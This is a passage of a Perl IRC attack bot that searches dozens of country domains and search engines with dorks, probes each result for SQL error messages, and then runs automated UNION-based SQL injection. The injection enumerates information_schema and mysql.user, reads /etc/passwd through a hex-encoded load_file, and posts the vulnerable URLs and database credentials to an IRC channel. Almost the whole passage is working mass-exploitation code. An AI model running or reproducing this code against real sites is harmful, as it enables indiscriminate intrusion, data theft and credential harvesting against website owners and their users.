  438. if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AE"); } exit; } }
  439. if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BG"); } exit; } }
  440. if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NZ"); } exit; } }
  441. if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"EE"); } exit; } }
  442. if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"GR"); } exit; } }
  443. if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PT"); } exit; } }
  444. if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TN"); } exit; } }
  445. if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KE"); } exit; } }
  446. if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"FI"); } exit; } }
  447. if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"HR"); } exit; } }
  448. if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CH"); } exit; } }
  449. if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IL"); } exit; } }
  450. if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PE"); } exit; } }
  451. if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MD"); } exit; } }
  452. if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CC"); } exit; } }
  453. if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TEL"); } exit; } }
  454. if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IM"); } exit; } }
  455. if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KZ"); } exit; } }
  456. if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UY"); } exit; } }
  457. if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"QA"); } exit; } }
  458. if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MIL"); } exit; } }
  459. if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PK"); } exit; } }
  460. if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"IS"); } exit; } }
  461. if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UZ"); } exit; } }
  462. if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NG"); } exit; } }
  463. if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TRAVEL"); } exit; } }
  464. if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SA"); } exit; } }
  465. if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"DO"); } exit; } }
  466. if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AM"); } exit; } }
  467. if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"EG"); } exit; } }
  468. if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"FM"); } exit; } }
  469. if ($engine =~ /ge/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"GE"); } exit; } }
  470. if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KY"); } exit; } }
  471. if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"LU"); } exit; } }
  472. if ($engine =~ /mk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MK"); } exit; } }
  473. if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SG"); } exit; } }
  474. if ($engine =~ /sy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SY"); } exit; } }
  475. if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"LA"); } exit; } }
  476. if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AZ"); } exit; } }
  477. if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BD"); } exit; } }
  478. if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CY"); } exit; } }
  479. if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SN"); } exit; } }
  480. if ($engine =~ /museum/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MUSEUM"); } exit; } }
  481. if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"GOV"); } exit; } }
  482. if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TK"); } exit; } }
  483. if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"NU"); } exit; } }
  484. if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ZM"); } exit; } }
  485. if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"YE"); } exit; } }
  486. if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CU"); } exit; } }
  487. if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TO"); } exit; } }
  488. if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"TZ"); } exit; } }
  489. if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"RS"); } exit; } }
  490. if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PM"); } exit; } }
  491. if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"LT"); } exit; } }
  492. if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MZ"); } exit; } }
  493. if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"MA"); } exit; } }
  494. if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AL"); } exit; } }
  495. if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"PA"); } exit; } }
  496. if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"EC"); } exit; } }
  497. if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KG"); } exit; } }
  498. if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UZ"); } exit; } }
  499. if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SV"); } exit; } }
  500. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"GooGLe"); } exit; } }
  501. if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"Yahoo2"); } exit; } }
  502. if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"KvaSiR"); } exit; } }
  503. if ($engine =~ /quint/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"Quint"); } exit; } }
  504. if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"Pagina"); } exit; } }
  505. if ($engine =~ /ask2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"ask2"); } exit; } }
  506. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"Bing"); } exit; } }
  507. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"BigLobe"); } exit; } }
  508. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"WaLLa"); } exit; } }
  509. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"YaHoo"); } exit; } }
  510. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AsK"); } exit; } }
  511. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"OnEt"); } exit; } }
  512. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"CLusTy"); } exit; } }
  513. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SaPo"); } exit; } }
  514. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"AoL"); } exit; } }
  515. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"LyCos"); } exit; } }
  516. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"HotBot"); } exit; } }
  517. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"SeZNam"); } exit; } }
  518. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"UoL"); } exit; } }
  519. if ($engine =~ /webcrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"webcrawler"); } exit; } }
  520. if ($engine =~ /witch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"witch"); } exit; } }
  521. if ($engine =~ /amidalla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"amidalla"); } exit; } }
  522. if ($engine =~ /mywebsearch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"mywebsearch"); } exit; } }
  523. if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"dogpile"); } exit; } }
  524. if ($engine =~ /infocom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"infocom"); } exit; } }
  525. if ($engine =~ /searchcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"searchcom"); } exit; } }
  526. if ($engine =~ /teoma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"teoma"); } exit; } }
  527. if ($engine =~ /volunia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"volunia"); } exit; } }
  528. if ($engine =~ /izito/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"izito"); } exit; } }
  529. if ($engine =~ /onyet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"onyet"); } exit; } }
  530. if ($engine =~ /askom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"askom"); } exit; } }
  531. if ($engine =~ /becak/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"becak"); } exit; } }
  532. if ($engine =~ /bokep/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &sql_exp($chan,$dork,"bokep"); } exit; } }
  533. }
  534.  
  535. ###### EXPLOITING #######
  536. sub sql_exp() {
  537. my $chan = $_[0];
  538. my $dork = $_[1];
  539. my $engine = $_[2];
  540. my $count = 0;
  541. my @totexploit = &search_engine($chan,$dork,$engine,$sqllogo);
  542. my $num = scalar(@totexploit);
  543. if ($num > 0){
  544. foreach my $site(@totexploit){
  545. $count++;
  546. if ($count == $num-1) { &msg("$chan","$sqllogo 6$engine 4Done"); }
  547. my $test = "http".$site."'";
  548. my $sqlsite = "http".$site;
  549. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  550. my $html = &get_content($test);sleep(1);
  551. if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  552. &sqlbrute($sqlsite,$chan,$engine);sleep(1);
  553. }
  554. elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  555. &sqlbrute($sqlsite,$chan,$engine);sleep(1);
  556. }
  557. elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  558. &sqlbrute($sqlsite,$chan,$engine);sleep(1);
  559. }
  560. elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  561. &sqlbrute($sqlsite,$chan,$engine);sleep(1);
  562. }
  563. } exit;
  564. }
  565. }
  566. }
  567. }
  568.  
  569. sub sqlbrute() {
  570. my $site=$_[0];
  571. my $chan =$_[1];
  572. my $engine=$_[2];
  573. my $columns=20;
  574. my $cfin.="--";
  575. my $cmn.= "+";
  576. for ($column = 0 ; $column < $columns ; $column ++)
  577. {
  578. $union.=','.$column;
  579. $inyection.=','."0x6c6f67696e70776e7a";
  580. if ($column == 0)
  581. {
  582. $inyection = '';
  583. $union = '';
  584. }
  585. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  586. $response=get($sql);
  587. if($response =~ /loginpwnz/)
  588. {
  589. $column ++;
  590. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  591. &msg("$chan","$sqllogo 9$engine 4<9=4>9 SqL 4<9=4>15 $sql ");
  592. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  593. $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  594. if($response =~ /loginpwnz/)
  595. {
  596. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  597. &msg("$chan","$sqllogo 9$engine 4<9=4>9 INFO_SCHEMA 4<9=4>15 $sql ");
  598. }
  599. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  600. $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  601. if($response =~ /loginpwnz/)
  602. {
  603. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  604. &msg("$chan","$sqllogo 9$engine 4<9=4>9 USER 4<9=4>15 $sql ");
  605. }
  606. while ($loadcont < $column-1)
  607. {
  608. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  609. $loadcont++;
  610. }
  611. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  612. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  613. if($response =~ /root:x:/)
  614. {
  615. &msg("$chan","$sqllogo 9$engine 4<9=4>9 Load File 4<9=4>15 $sql ");
  616. }
  617. foreach $tabla(@tabele)
  618. {
  619. chomp($tabla);
  620. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  621. $response=get($sql)or die("[-] Impossible to get tables\n");
  622. if($response =~ /loginpwnz/)
  623. {
  624. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  625. &msg("$chan","$sqllogo 9$engine 4<9=4>9 Tabel 4<9=4>15 $sql ");
  626. &tabelka($site,$tabla,$chan,$engine);
  627. }
  628. }
  629. }
  630. }
  631. }
  632.  
  633. sub tabelka() {
  634. my $site =$_[0];
  635. my $tabla =$_[1];
  636. my $chan =$_[2];
  637. my $engine=$_[3];
  638. my $cfin.="--";
  639. my $cmn.= "+";
  640. chomp($tabla);
  641. foreach $columna(@kolumny)
  642. {
  643. chomp($columna);
  644. $sql=$site.$cmn."and".$cmn."1=2".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  645. $response=get($sql)or die("[-] Impossible to get columns\n");
  646. if ($response =~ /loginpwnz/)
  647. {
  648. &msg("$chan","$sqllogo9$engine 4<9=4>9 SQLi Vuln 4<9=4>15 $site 4[9Kolom4]15 $columna 4[9Tabel4]15 $tabla ");
  649. }
  650. }
  651. }
  652.  
  653. sub dbi_connect () {
  654. my $host = $_[0];
  655. my $user = $_[1];
  656. my $pass = $_[2];
  657. my $dtbs = $_[3];
  658. my $chan = $_[4];
  659. my $port = "3306";
  660. my $platform = "mysql";
  661. my $dsn = "dbi:$platform:$dtbs:$host:$port";
  662. my $DBIconnect= DBI->connect($dsn,$user,$pass);
  663. if ($DBIconnect) {
  664. &msg("$chan","9,1[4!9]15SQL Accepted 4<9=4>9 http://$host 15|4Username:9 $user 15|4Password:9 $pass 15|4DBname:9 $dtbs ");
  665. }
  666. }
  667. ##################################################################################
  668.  
  669. sub search_engine() {
  670. my (@total,@clean);
  671. my $chan = $_[0];
  672. my $dork = $_[1];
  673. my $engine = $_[2];
  674. my $logo = $_[3];
  675. if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
  676. if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
  677. if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
  678. if ($engine eq "NET") { my @net = &net($dork); push(@total,@net); }
  679. if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
  680. if ($engine eq "COM") { my @com = &com($dork); push(@total,@com); }
  681. if ($engine eq "ORG") { my @org = &org($dork); push(@total,@org); }
  682. if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
  683. if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
  684. if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
  685. if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
  686. if ($engine eq "ME") { my @me = &me($dork); push(@total,@me); }
  687. if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
  688. if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
  689. if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
  690. if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
  691. if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
  692. if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
  693. if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
  694. if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
  695. if ($engine eq "INFO") { my @info = &info($dork); push(@total,@info); }
  696. if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
  697. if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
  698. if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
  699. if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
  700. if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
  701. if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
  702. if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
  703. if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
  704. if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
  705. if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
  706. if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
  707. if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
  708. if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
  709. if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
  710. if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
  711. if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
  712. if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
  713. if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
  714. if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
  715. if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
  716. if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
  717. if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
  718. if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
  719. if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
  720. if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
  721. if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
  722. if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
  723. if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
  724. if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
  725. if ($engine eq "BY") { my @by = &by($dork); push(@total,@by); }
  726. if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
  727. if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
  728. if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
  729. if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
  730. if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
  731. if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
  732. if ($engine eq "SU") { my @su = &su($dork); push(@total,@su); }
  733. if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
  734. if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
  735. if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
  736. if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
  737. if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
  738. if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
  739. if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
  740. if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
  741. if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
  742. if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
  743. if ($engine eq "TN") { my @tn = &tn($dork); push(@total,@tn); }
  744. if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
  745. if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
  746. if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
  747. if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
  748. if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
  749. if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
  750. if ($engine eq "MD") { my @md = &md($dork); push(@total,@md); }
  751. if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
  752. if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
  753. if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
  754. if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
  755. if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
  756. if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
  757. if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
  758. if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
  759. if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
  760. if ($engine eq "NG") { my @ng = &ng($dork); push(@total,@ng); }
  761. if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
  762. if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
  763. if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
  764. if ($engine eq "AM") { my @am = &am($dork); push(@total,@am); }
  765. if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
  766. if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
  767. if ($engine eq "GE") { my @ge = &ge($dork); push(@total,@ge); }
  768. if ($engine eq "KY") { my @ky = &ky($dork); push(@total,@ky); }
  769. if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
  770. if ($engine eq "MK") { my @mk = &mk($dork); push(@total,@mk); }
  771. if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
  772. if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
  773. if ($engine eq "SY") { my @sy = &sy($dork); push(@total,@sy); }
  774. if ($engine eq "LA") { my @la = &la($dork); push(@total,@la); }
  775. if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
  776. if ($engine eq "CY") { my @cy = &cy($dork); push(@total,@cy); }
  777. if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
  778. if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
  779. if ($engine eq "MUSEUM") { my @museum = &museum($dork); push(@total,@museum); }
  780. if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
  781. if ($engine eq "TK") { my @tk = &tk($dork); push(@total,@tk); }
  782. if ($engine eq "NU") { my @nu = &nu($dork); push(@total,@nu); }
